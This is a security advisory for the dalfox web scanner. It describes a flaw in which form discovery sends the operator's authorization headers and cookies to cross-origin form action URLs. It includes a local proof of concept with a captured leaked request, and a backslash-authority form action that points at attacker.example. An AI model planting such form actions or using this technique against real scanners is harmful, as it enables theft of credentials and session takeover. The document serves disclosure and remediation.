# GHSA-MPH2-GF5W-6F9F: Credentials sent to attacker-controlled hosts via cross-origin form actions during parameter discovery

- Database: GitHub
- Severity: CVSS 7.4 (High)
- Published: 2026-09-16
- Modified: 2026-09-16

## Affected versions

- dalfox (crates.io): through 3.2.2

## Description

### Summary

During form parameter discovery, dalfox resolves the `action` attribute of every `<form>` it finds on a scanned page and sends probe requests to the resolved URL, without checking that the URL is same-origin with the scan target. Every operator-supplied credential (`-H/--headers`, `--cookies`, and any `Cookie`/`Authorization` header inherited from a raw-http or HAR import) is attached to those requests unconditionally.

A scan target that serves `<form action="https://attacker.example/collect">` therefore causes dalfox to deliver the operator's authentication material to a host the operator never asked it to contact.

This matches the in-scope definitions in `SECURITY.md`: *"a scan target influencing the dalfox host beyond the requests it was told to make"* and *"secrets leaking into logs or output"*.

### Affected component

`check_form_discovery` in `src/parameter_analysis/discovery/form.rs` resolves the form action:

```rust
let form_url = if action.is_empty() || action == "#" {
    target.url.clone()
} else if let Ok(resolved) = target.url.join(action) {
    resolved            // <- no origin check
} else {
    continue;
};
```

The resolved URL is then used for the GET/POST/multipart/JSON discovery probes, and is stored on the discovered `Param` as `form_action_url`, which the scanning phase later re-reads in `src/scanning/url_inject.rs` (`resolve_form_action_url`) and `src/scanning/check_reflection.rs`. Request construction (`build_request` / `build_body_request_base` -> `apply_headers_ua_cookies_inner` in `src/utils/http.rs`) attaches headers and cookies regardless of destination.

An equivalent same-origin guard already exists on a different code path — `is_same_origin` in `src/scanning/xss_blind.rs` — and is applied to form actions there. The discovery path is missing it. This is an inconsistency between code paths rather than an intentional design decision.

### Impact

An attacker who controls the HTML of a page being scanned (their own site listed in a bug bounty scope, a compromised page, or any stored HTML injection on the target) obtains the credentials the operator configured for the scan: bearer tokens, session cookies, API keys and custom authentication headers. Because those credentials typically authenticate the operator against the target application, disclosure can lead to account or session takeover on that application.

Authenticated scanning via `-H` and `--cookies` is a documented first-class feature, and pointing the scanner at untrusted web content is dalfox's normal mode of operation, so no unusual configuration is required.

The leak is not limited to the initial discovery probes. If the attacker's endpoint echoes the discovery marker back, the parameters are recorded as discovered and the full scanning phase is then directed at the attacker's host. In local testing this amplified a single scan into **1,214 cross-origin requests, each carrying the operator's `Authorization` header and session cookie**.

### Proof of concept

Target page served at `http://127.0.0.1:8765/`:

```html
<form action="http://127.0.0.1:9988/collect" method="POST">
  <input name="q" value="search">
  <input name="user" value="test">
</form>
```

Scan it with credentials attached:

```
dalfox url --url "http://127.0.0.1:8765/?q=test" \
  --headers "Authorization: Bearer SUPER_SECRET_TOKEN_12345" \
  --cookies "session=MY_SESSION_COOKIE_ABCDEF"
```

The listener on port 9988 — a different origin, never named by the operator — receives:

```
POST /collect
authorization: Bearer SUPER_SECRET_TOKEN_12345
cookie: session=MY_SESSION_COOKIE_ABCDEF
content-type: application/x-www-form-urlencoded
host: 127.0.0.1:9988

q=dlxe0b78c60dlxmided8d9df6xlda04e8030&user=test
```

Three such requests are sent for the form above (urlencoded POST per field, plus a JSON body probe). Reproduced against a build of the current `main`.

### Variant: backslash authority in the form action

The same flaw is reachable through a form action whose authority is terminated by a backslash:

```html
<form action="http://attacker.example:9988\\@target.example:8765/submit" method="POST">
  <input name="q" value="test">
</form>
```

This resolves to host `attacker.example`, port `9988`, path `/@target.example:8765/submit`, so the probes and the operator's credentials go to `attacker.example:9988`. Confirmed locally, and `URL` in Node returns the same host and path, so browsers read it identically.

The resolution is correct WHATWG parsing rather than a URL-parser defect: a backslash terminates the authority in a special-scheme URL. It also bypasses no control, because the discovery path performs no origin check at all - that is the issue above. It is called out separately here because it is the input that would defeat a naive string-prefix origin check, and the regression tests for the fix must cover it. The existing `is_same_origin` helper compares the parsed `Url`'s scheme, host and port and rejects it correctly; `form_action_url` is also stored and re-parsed as an already-normalised `Url`, so there is no string-versus-parse split to exploit.

Because the root cause, the affected code and the fix are the same, this variant is covered by this advisory and a single CVE rather than tracked as a separate vulnerability.

### Remediation direction

Apply the existing `is_same_origin` check to the resolved form action in `check_form_discovery` before probing, mirroring the guard in `src/scanning/xss_blind.rs`, and defensively at the `form_action_url` consumers in `src/scanning/url_inject.rs` and `src/scanning/check_reflection.rs`.

Trade-off to decide: an unconditional skip also drops discovery of parameters on legitimate forms that post to a different host (a separate API host, a CDN endpoint, a login host). The `xss_blind` path already accepts that trade-off. An opt-in flag to allow cross-origin form submission — off by default, and ideally dropping credentials when enabled — is the alternative.

### Credit

Reported by the DREAM Security Research Team: Arad Inbar, Adiel Sol, Erez Cohen, Nir Somech, Ben Grinberg, Daniel Lubel and Shir Sadon. The backslash-authority variant above was reported by the same team.

The report was accurate on the root cause, on the affected code path and on the existing `is_same_origin` guard that the discovery path was missing.

## References

- https://github.com/hahwul/dalfox/security/advisories/GHSA-mph2-gf5w-6f9f

Page: https://cve.now/GHSA-MPH2-GF5W-6F9F

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
